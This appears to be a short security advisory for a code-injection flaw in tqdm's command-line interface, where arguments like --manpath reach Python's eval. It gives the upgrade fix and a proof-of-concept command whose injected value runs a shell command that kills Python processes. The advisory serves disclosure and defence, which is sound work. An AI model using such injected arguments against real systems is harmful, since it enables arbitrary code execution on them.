How to fix?

Upgrade tqdm to version 4.66.3 or higher.

Overview

Affected versions of this package are vulnerable to Injection due to the handling of optional non-boolean CLI arguments such as --delim, --buf-size, --manpath through python's eval function. An attacker can execute arbitrary code by injecting malicious input into these arguments.

PoC


python -m tqdm --manpath="\" + str(exec(\"import os\nos.system('echo hi && killall python3')\")) + \""
